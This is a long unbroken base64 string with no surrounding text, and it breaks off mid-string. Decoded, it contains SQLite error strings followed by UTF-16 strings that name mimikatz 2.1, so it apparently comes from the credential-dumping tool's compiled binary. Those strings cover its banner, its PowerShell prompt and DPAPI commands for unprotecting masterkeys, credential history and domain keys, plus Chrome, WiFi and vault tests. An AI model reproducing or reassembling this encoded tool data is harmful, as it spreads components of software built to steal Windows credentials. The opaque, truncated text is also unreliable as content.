VicXVlcmllcwAAcGFyYW1ldGVycwAAJXIgJXMgQlkgdGVybSBvdXQgb2YgcmFuZ2UgLSBzaG91bGQgYmUgYmV0d2VlbiAxIGFuZCAlZAB0b28gbWFueSB0ZXJtcyBpbiBPUkRFUiBCWSBjbGF1c2UAAABPUkRFUgAAACVyIE9SREVSIEJZIHRlcm0gZG9lcyBub3QgbWF0Y2ggYW55IGNvbHVtbiBpbiB0aGUgcmVzdWx0IHNldAAAAAB0b28gbWFueSB0ZXJtcyBpbiAlcyBCWSBjbGF1c2UAAGEgR1JPVVAgQlkgY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSBIQVZJTkcAR1JPVVAAAABhZ2dyZWdhdGUgZnVuY3Rpb25zIGFyZSBub3QgYWxsb3dlZCBpbiB0aGUgR1JPVVAgQlkgY2xhdXNlAABFeHByZXNzaW9uIHRyZWUgaXMgdG9vIGxhcmdlIChtYXhpbXVtIGRlcHRoICVkKQB2YXJpYWJsZSBudW1iZXIgbXVzdCBiZSBiZXR3ZWVuID8xIGFuZCA/JWQAAHRvbyBtYW55IFNRTCB2YXJpYWJsZXMAAHRvbyBtYW55IGNvbHVtbnMgaW4gJXMAAF9ST1dJRF8AUk9XSUQAAABPSUQAb3ZlcnNpemVkIGludGVnZXI6ICVzJXMAbWlzdXNlIG9mIGFnZ3JlZ2F0ZTogJXMoKQAAAHVua25vd24gZnVuY3Rpb246ICVzKCkAACVzICVUIGNhbm5vdCByZWZlcmVuY2Ugb2JqZWN0cyBpbiBkYXRhYmFzZSAlcwAAAG5vIHN1Y2ggdGFibGUAAABjb3JydXB0IGRhdGFiYXNlAAAAAHVua25vd24gZGF0YWJhc2UgJVQAc3FsaXRlXwBvYmplY3QgbmFtZSByZXNlcnZlZCBmb3IgaW50ZXJuYWwgdXNlOiAlcwAAAHRhYmxlICVUIGFscmVhZHkgZXhpc3RzAHRoZXJlIGlzIGFscmVhZHkgYW4gaW5kZXggbmFtZWQgJXMAAHRvbyBtYW55IGNvbHVtbnMgb24gJXMAAGR1cGxpY2F0ZSBjb2x1bW4gbmFtZTogJXMAAABkZWZhdWx0IHZhbHVlIG9mIGNvbHVtbiBbJXNdIGlzIG5vdCBjb25zdGFudAAAAAB0YWJsZSAiJXMiIGhhcyBtb3JlIHRoYW4gb25lIHByaW1hcnkga2V5AAAAAElOVEVHRVIALAAAACkAAAAKICAALAogIAAAAAAKKQAAQ1JFQVRFIFRBQkxFIAAAACBURVhUAAAAIE5VTQAAAAAgSU5UAAAAACBSRUFMAAAAQVVUT0lOQ1JFTUVOVCBub3QgYWxsb3dlZCBvbiBXSVRIT1VUIFJPV0lEIHRhYmxlcwAAAFBSSU1BUlkgS0VZIG1pc3Npbmcgb24gdGFibGUgJXMAdGFibGUAAABUQUJMRQAAAENSRUFURSAlcyAlLipzAAAAAAAAVVBEQVRFICVRLiVzIFNFVCB0eXBlPSclcycsIG5hbWU9JVEsIHRibF9uYW1lPSVRLCByb290cGFnZT0jJWQsIHNxbD0lUSBXSEVSRSByb3dpZD0jJWQAAHRibF9uYW1lPSclcScgQU5EIHR5cGUhPSd0cmlnZ2VyJwAAAHNxbGl0ZV9zdGF0JWQAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSAlcz0lUQAAAERFTEVURSBGUk9NICVRLiVzIFdIRVJFIHRibF9uYW1lPSVRIGFuZCB0eXBlIT0ndHJpZ2dlcicAc3FsaXRlX3N0YXQAdGFibGUgJXMgbWF5IG5vdCBiZSBkcm9wcGVkAHRibABpbmRleAAAAGNhbm5vdCBjcmVhdGUgYSBURU1QIGluZGV4IG9uIG5vbi1URU1QIHRhYmxlICIlcyIAAABhbHRlcnRhYl8AAAB0YWJsZSAlcyBtYXkgbm90IGJlIGluZGV4ZWQAdGhlcmUgaXMgYWxyZWFkeSBhIHRhYmxlIG5hbWVkICVzAAAAaW5kZXggJXMgYWxyZWFkeSBleGlzdHMAc3FsaXRlX2F1dG9pbmRleF8lc18lZAAAZXhwcmVzc2lvbnMgcHJvaGliaXRlZCBpbiBQUklNQVJZIEtFWSBhbmQgVU5JUVVFIGNvbnN0cmFpbnRzAAAAAGNvbmZsaWN0aW5nIE9OIENPTkZMSUNUIGNsYXVzZXMgc3BlY2lmaWVkAAAAIFVOSVFVRQBDUkVBVEUlcyBJTkRFWCAlLipzAElOU0VSVCBJTlRPICVRLiVzIFZBTFVFUygnaW5kZXgnLCVRLCVRLCMlZCwlUSk7AG5hbWU9JyVxJyBBTkQgdHlwZT0naW5kZXgnAABubyBzdWNoIGluZGV4OiAlUwAAAGluZGV4IGFzc29jaWF0ZWQgd2l0aCBVTklRVUUgb3IgUFJJTUFSWSBLRVkgY29uc3RyYWludCBjYW5ub3QgYmUgZHJvcHBlZAAAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSBuYW1lPSVRIEFORCB0eXBlPSdpbmRleCcAAAAAaWR4AE9OAABVU0lORwAAAGEgSk9JTiBjbGF1c2UgaXMgcmVxdWlyZWQgYmVmb3JlICVzAGluZGV4ICclcScAACwgAAAlcy4lcwAAACVzLnJvd2lkAAAAAGR1cGxpY2F0ZSBXSVRIIHRhYmxlIG5hbWU6ICVzAAAAbm8gc3VjaCBjb2xsYXRpb24gc2VxdWVuY2U6ICVzAAB0YWJsZSAlcyBtYXkgbm90IGJlIG1vZGlmaWVkAAAAAHJvd3MgZGVsZXRlZAAAAABpbnRlZ2VyAHRleHQAAAAAcmVhbAAAAABibG9iAAAAAG51bGwAAAAAaW50ZWdlciBvdmVyZmxvdwAAAABMSUtFIG9yIEdMT0IgcGF0dGVybiB0b28gY29tcGxleAAAAABFU0NBUEUgZXhwcmVzc2lvbiBtdXN0IGJlIGEgc2luZ2xlIGNoYXJhY3RlcgAAAAAlIS4yMGUAACAAAABNQVRDSAAAAGxpa2UAAAAAZ2xvYgAAAAB1bmxpa2VseQAAAABsaWtlbGlob29kAABsaWtlbHkAAGx0cmltAAAAcnRyaW0AAAB0cmltAAAAAG1pbgBtYXgAdHlwZW9mAABsZW5ndGgAAGluc3RyAAAAcHJpbnRmAAB1bmljb2RlAGNoYXIAAAAAYWJzAHVwcGVyAAAAbG93ZXIAAABoZXgAaWZudWxsAAByYW5kb20AAHJhbmRvbWJsb2IAAG51bGxpZgAAc3FsaXRlX3ZlcnNpb24AAHNxbGl0ZV9zb3VyY2VfaWQAAAAAc3FsaXRlX2xvZwAAcXVvdGUAAABsYXN0X2luc2VydF9yb3dpZAAAAGNoYW5nZXMAdG90YWxfY2hhbmdlcwAAAHJlcGxhY2UAemVyb2Jsb2IAAAAAc3Vic3RyAABzdW0AdG90YWwAAABhdmcAY291bnQAAABncm91cF9jb25jYXQAAAAAY29hbGVzY2UAAAAAdGFibGUgJVMgaGFzIG5vIGNvbHVtbiBuYW1lZCAlcwB0YWJsZSAlUyBoYXMgJWQgY29sdW1ucyBidXQgJWQgdmFsdWVzIHdlcmUgc3VwcGxpZWQAJWQgdmFsdWVzIGZvciAlZCBjb2x1bW5zAAAAAHJvd3MgaW5zZXJ0ZWQAAABhdXRvbWF0aWMgZXh0ZW5zaW9uIGxvYWRpbmcgZmFpbGVkOiAlcwAAPwAAAG1hbGZvcm1lZCBkYXRhYmFzZSBzY2hlbWEgKCVzKQAAJXogLSAlcwBjcmVhdGUgAGludmFsaWQgcm9vdHBhZ2UAAAAAAAAAAENSRUFURSBUQUJMRSB4KHR5cGUgdGV4dCxuYW1lIHRleHQsdGJsX25hbWUgdGV4dCxyb290cGFnZSBpbnRlZ2VyLHNxbCB0ZXh0KQAAAAAAYXR0YWNoZWQgZGF0YWJhc2VzIG11c3QgdXNlIHRoZSBzYW1lIHRleHQgZW5jb2RpbmcgYXMgbWFpbiBkYXRhYmFzZQB1bnN1cHBvcnRlZCBmaWxlIGZvcm1hdABTRUxFQ1QgbmFtZSwgcm9vdHBhZ2UsIHNxbCBGUk9NICIldyIuJXMgT1JERVIgQlkgcm93aWQAAHN0YXRlbWVudCB0b28gbG9uZwAAdW5rbm93biBvciB1bnN1cHBvcnRlZCBqb2luIHR5cGU6ICVUICVUJXMlVABSSUdIVCBhbmQgRlVMTCBPVVRFUiBKT0lOcyBhcmUgbm90IGN1cnJlbnRseSBzdXBwb3J0ZWQAAGEgTkFUVVJBTCBqb2luIG1heSBub3QgaGF2ZSBhbiBPTiBvciBVU0lORyBjbGF1c2UAAABjYW5ub3QgaGF2ZSBib3RoIE9OIGFuZCBVU0lORyBjbGF1c2VzIGluIHRoZSBzYW1lIGpvaW4AAGNhbm5vdCBqb2luIHVzaW5nIGNvbHVtbiAlcyAtIGNvbHVtbiBub3QgcHJlc2VudCBpbiBib3RoIHRhYmxlcwBVTklPTiBBTEwAAABJTlRFUlNFQ1QAAABFWENFUFQAAFVOSU9OAAAAcm93aWQAAABjb2x1bW4lZAAAAAAlLip6OiV1AGFsbCBWQUxVRVMgbXVzdCBoYXZlIHRoZSBzYW1lIG51bWJlciBvZiB0ZXJtcwAAAAAAAABTRUxFQ1RzIHRvIHRoZSBsZWZ0IGFuZCByaWdodCBvZiAlcyBkbyBub3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgcmVzdWx0IGNvbHVtbnMAAABubyBzdWNoIGluZGV4OiAlcwAAACclcycgaXMgbm90IGEgZnVuY3Rpb24AAG11bHRpcGxlIHJlZmVyZW5jZXMgdG8gcmVjdXJzaXZlIHRhYmxlOiAlcwAAY2lyY3VsYXIgcmVmZXJlbmNlOiAlcwAAdGFibGUgJXMgaGFzICVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAG11bHRpcGxlIHJlY3Vyc2l2ZSByZWZlcmVuY2VzOiAlcwAAAHJlY3Vyc2l2ZSByZWZlcmVuY2UgaW4gYSBzdWJxdWVyeTogJXMAAAB0b28gbWFueSByZWZlcmVuY2VzIHRvICIlcyI6IG1heCA2NTUzNQAAKgAAACVzLiVzLiVzAAAAAG5vIHN1Y2ggdGFibGU6ICVzAAAAbm8gdGFibGVzIHNwZWNpZmllZAB0b28gbWFueSBjb2x1bW5zIGluIHJlc3VsdCBzZXQAAERJU1RJTkNUIGFnZ3JlZ2F0ZXMgbXVzdCBoYXZlIGV4YWN0bHkgb25lIGFyZ3VtZW50AABubyBzdWNoIGNvbHVtbjogJXMAAHJvd3MgdXBkYXRlZAAAAABCSU5BUlkAAHRvbyBtYW55IGFyZ3VtZW50cyBvbiAlcygpIC0gbWF4ICVkAG5vIHF1ZXJ5IHNvbHV0aW9uAAAAYXQgbW9zdCAlZCB0YWJsZXMgaW4gYSBqb2luAHRvbyBtYW55IHRlcm1zIGluIGNvbXBvdW5kIFNFTEVDVAAAAHN5bnRheCBlcnJvciBhZnRlciBjb2x1bW4gbmFtZSAiJS4qcyIAAABwYXJzZXIgc3RhY2sgb3ZlcmZsb3cAAAB1bmtub3duIHRhYmxlIG9wdGlvbjogJS4qcwAAc2V0IGxpc3QAAAAAbmVhciAiJVQiOiBzeW50YXggZXJyb3IAdG9vIG1hbnkgYXJndW1lbnRzIG9uIGZ1bmN0aW9uICVUAAAAdW5yZWNvZ25pemVkIHRva2VuOiAiJVQiAAAAADIwMTYtMDUtMTggMTA6NTc6MzAgZmM0OWY1NTZlNDg5NzA1NjFkN2FiNmEyZjI0ZmRkN2Q5ZWI4MWZmMgAAAAB1bmFibGUgdG8gY2xvc2UgZHVlIHRvIHVuZmluYWxpemVkIHN0YXRlbWVudHMgb3IgdW5maW5pc2hlZCBiYWNrdXBzAG5vdCBhbiBlcnJvcgAAAABTUUwgbG9naWMgZXJyb3Igb3IgbWlzc2luZyBkYXRhYmFzZQBhY2Nlc3MgcGVybWlzc2lvbiBkZW5pZWQAAAAAY2FsbGJhY2sgcmVxdWVzdGVkIHF1ZXJ5IGFib3J0AABkYXRhYmFzZSBpcyBsb2NrZWQAAGRhdGFiYXNlIHRhYmxlIGlzIGxvY2tlZAAAAABhdHRlbXB0IHRvIHdyaXRlIGEgcmVhZG9ubHkgZGF0YWJhc2UAAAAAaW50ZXJydXB0ZWQAZGlzayBJL08gZXJyb3IAAGRhdGFiYXNlIGRpc2sgaW1hZ2UgaXMgbWFsZm9ybWVkAAAAAHVua25vd24gb3BlcmF0aW9uAAAAZGF0YWJhc2Ugb3IgZGlzayBpcyBmdWxsAAAAAHVuYWJsZSB0byBvcGVuIGRhdGFiYXNlIGZpbGUAAAAAbG9ja2luZyBwcm90b2NvbAAAAAB0YWJsZSBjb250YWlucyBubyBkYXRhAABjb25zdHJhaW50IGZhaWxlZAAAAGRhdGF0eXBlIG1pc21hdGNoAAAAbGlicmFyeSByb3V0aW5lIGNhbGxlZCBvdXQgb2Ygc2VxdWVuY2UAAGxhcmdlIGZpbGUgc3VwcG9ydCBpcyBkaXNhYmxlZAAAYXV0aG9yaXphdGlvbiBkZW5pZWQAAAAAYXV4aWxpYXJ5IGRhdGFiYXNlIGZvcm1hdCBlcnJvcgBiaW5kIG9yIGNvbHVtbiBpbmRleCBvdXQgb2YgcmFuZ2UAAABmaWxlIGlzIGVuY3J5cHRlZCBvciBpcyBub3QgYSBkYXRhYmFzZQAAdW5rbm93biBlcnJvcgAAAGFib3J0IGR1ZSB0byBST0xMQkFDSwAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IHVzZXItZnVuY3Rpb24gZHVlIHRvIGFjdGl2ZSBzdGF0ZW1lbnRzAAAAAAAAdW5hYmxlIHRvIGRlbGV0ZS9tb2RpZnkgY29sbGF0aW9uIHNlcXVlbmNlIGR1ZSB0byBhY3RpdmUgc3RhdGVtZW50cwBsb2NhbGhvc3QAAABpbnZhbGlkIHVyaSBhdXRob3JpdHk6ICUuKnMAY2FjaGUAAABzaGFyZWQAAHByaXZhdGUAbW9kZQAAAABybwAAcncAAHJ3YwBtZW1vcnkAAGFjY2VzcwAAbm8gc3VjaCAlcyBtb2RlOiAlcwAlcyBtb2RlIG5vdCBhbGxvd2VkOiAlcwBubyBzdWNoIHZmczogJXMATk9DQVNFAABSVFJJTQAAAG1haW4AAAAAdGVtcAAAAAAlcyBhdCBsaW5lICVkIG9mIFslLjEwc10AAAAAZGF0YWJhc2UgY29ycnVwdGlvbgBtaXN1c2UAAGNhbm5vdCBvcGVuIGZpbGUAAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMQAgACgAeAA4ADYAKQAgAGIAdQBpAGwAdAAgAG8AbgAgAE4AbwB2ACAAMQAwACAAMgAwADEANgAgADEANQA6ADMAMAA6ADQAMAAKACAALgAjACMAIABeACAAIwAjAC4AIAAgACIAQQAgAEwAYQAgAFYAaQBlACwAIABBACAATAAnAEEAbQBvAHUAcgAiAAoAIAAjACMAIAAvACAAXAAgACMAIwAgACAALwAqACAAKgAgACoACgAgACMAIwAgAFwAIAAvACAAIwAjACAAIAAgAEIAZQBuAGoAYQBtAGkAbgAgAEQARQBMAFAAWQAgAGAAZwBlAG4AdABpAGwAawBpAHcAaQBgACAAKAAgAGIAZQBuAGoAYQBtAGkAbgBAAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAgACkACgAgACcAIwAjACAAdgAgACMAIwAnACAAIAAgAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGcAZQBuAHQAaQBsAGsAaQB3AGkALgBjAG8AbQAvAG0AaQBtAGkAawBhAHQAegAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAbwBlAC4AZQBvACkACgAgACAAJwAjACMAIwAjACMAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaQB0AGgAIAAlADIAdQAgAG0AbwBkAHUAbABlAHMAIAAqACAAKgAgACoALwAKAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBpAG4AaQB0AE8AcgBDAGwAZQBhAG4AIAA7ACAAQwBvAEkAbgBpAHQAaQBhAGwAaQB6AGUARQB4ADoAIAAlADAAOAB4AAoAAAAAAEkATgBJAFQAAAAAAEMATABFAEEATgAAAD4APgA+ACAAJQBzACAAbwBmACAAJwAlAHMAJwAgAG0AbwBkAHUAbABlACAAZgBhAGkAbABlAGQAIAA6ACAAJQAwADgAeAAKAAAAAAA6ADoAAAAAAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAACgAlADEANgBzAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAABFAFIAUgBPAFIAIABtAGkAbQBpAGsAYQB0AHoAXwBkAG8ATABvAGMAYQBsACAAOwAgACIAJQBzACIAIABjAG8AbQBtAGEAbgBkACAAbwBmACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAACgBGAHUAbABsACAAbgBhAG0AZQAgADoACQAlAHMAAAAKAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoACQAlAHMAAABiAGwAbwBiAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAARABQAEEAUABJACAAYgBsAG8AYgAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABpAHQAIAB3AGkAdABoACAAQQBQAEkAIABvAHIAIABNAGEAcwB0AGUAcgBrAGUAeQAAAHAAcgBvAHQAZQBjAHQAAAAAAAAAUAByAG8AdABlAGMAdAAgAGEAIABkAGEAdABhACAAdgBpAGEAIABhACAARABQAEEAUABJACAAYwBhAGwAbAAAAG0AYQBzAHQAZQByAGsAZQB5AAAAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABNAGEAcwB0AGUAcgBrAGUAeQAgAGYAaQBsAGUALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAZQBhAGMAaAAgAE0AYQBzAHQAZQByAGsAZQB5ACAAKABrAGUAeQAgAGQAZQBwAGUAbgBkAGkAbgBnACkAAABjAHIAZQBkAGgAaQBzAHQAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABDAHIAZQBkAGgAaQBzAHQAIABmAGkAbABlAAAAAABjAGEAcABpAAAAAABDAEEAUABJACAAawBlAHkAIAB0AGUAcwB0AAAAYwBuAGcAAABDAE4ARwAgAGsAZQB5ACAAdABlAHMAdAAAAAAAYwByAGUAZAAAAAAAQwBSAEUARAAgAHQAZQBzAHQAAAB2AGEAdQBsAHQAAABWAEEAVQBMAFQAIAB0AGUAcwB0AAAAAAB3AGkAZgBpAAAAAABXAGkARgBpACAAdABlAHMAdAAAAHcAdwBhAG4AAAAAAFcAdwBhAG4AIAB0AGUAcwB0AAAAYwBoAHIAbwBtAGUAAAAAAEMAaAByAG8AbQBlACAAdABlAHMAdAAAAGMAYQBjAGgAZQAAAGQAcABhAHAAaQAAAEQAUABBAFAASQAgAE0AbwBkAHUAbABlACAAKABiAHkAIABBAFAASQAgAG8AcgAgAFIAQQBXACAAYQBjAGMAZQBzAHMAKQAAAEQAYQB0AGEAIABQAHIAbwB0AGUAYwB0AGkAbwBuACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuACAAcAByAG8AZwByAGEAbQBtAGkAbgBnACAAaQBuAHQAZQByAGYAYQBjAGUAAABpAG4AAAAAAGQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoAIAAlAHMACgAAAG8AdQB0AAAAVwByAGkAdABlACAAdABvACAAZgBpAGwAZQAgACcAJQBzACcAIABpAHMAIABPAEsACgAAAGQAYQB0AGEAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGEAdABhAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AAABlAG4AdAByAG8AcAB5AAAAbQBhAGMAaABpAG4AZQAAAHAAcgBvAG0AcAB0AAAAAABjAAAACgBkAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGYAbABhAGcAcwAgACAAIAAgACAAIAAgADoAIAAAAAAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAOgAgAAAAAABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAA6ACAAAAAAAEIAbABvAGIAOgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBwAHIAbwB0AGUAYwB0ACAAOwAgAEMAcgB5AHAAdABQAHIAbwB0AGUAYwB0AEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAcgBvAHQAZQBjAHQAZQBkAAAAcwBpAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABoAGEAcwBoAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAqACoAIABNAEEAQwBIAEkATgBFACAAKgAqAAoAAAAAACoAKgAgAFUAUwBFAFIAIAAqACoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQA6ACAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAgACgAcwBoAGEAMQAgAHQAeQBwAGUAKQAKAAAAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5AAoAAABwAHYAawAAAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFMAQQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAKAAAAAAByAHAAYwAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUABDAAoAAAAAAGQAYwAAAAAAZABvAG0AYQBpAG4AAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAZABvAG0AYQBpAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEkAbgBwAHUAdAAgAG0AYQBzAHQAZQByAGsAZQB5AHMAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwBoAGEAMQAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHUAcwBpAG4AZwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAQQBQAEkACgAAAAAAIAAqACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAACAAKgAgAG0AYQBzAHQAZQByAGsAZQB5ACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwAgACAAOgAgAAAAIAA+ACAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAIAAgADoAIAAAACAAPgAgAHAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACAAawBlAHkAIAA6ACAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAIAAgAHMAaQBkACAAOgAgAAAAAAAgACAAIAAAACAALQAtACAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBf